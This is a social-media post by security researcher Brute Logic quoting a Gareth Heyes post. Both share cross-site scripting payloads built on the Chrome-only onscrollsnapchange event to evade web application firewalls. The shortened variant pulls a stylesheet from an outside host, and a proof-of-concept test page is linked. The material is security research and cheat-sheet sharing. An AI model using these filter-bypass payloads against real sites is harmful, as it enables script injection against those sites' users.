BRute Logic

@brutelogic.bsky.social

#CyberSecurity #AI https://brutelogic.net/research

Nice work in the original payload below. Although "style=" (and "<link") being easily caught by most cloud WAFs I've seen out there, I've just made it shorter and "bypass friendly". <p><dd onscrollsnapchange=alert(1)> <link href=//X55.is/k rel=stylesheet> PoC: brutelogic.com.br/xss.php?a=%3...

XSS Test Page by Brute Logic

brutelogic.com.br

Gareth Heyes@garethheyes.co.uk · 2y ago

Struggling with WAFs that seem to block every XSS attempt? Here’s a lesser-known trick from parrot409: the Chrome-only onscrollsnapchange event. We’ve just added it to our XSS cheat sheet for those hard-to-crack scenarios.

<section onscrollsnapchange=alert(1) style=overflow-y:hidden;scroll-snap-type:x><div style=scroll-snap-align:center>1337</div></section>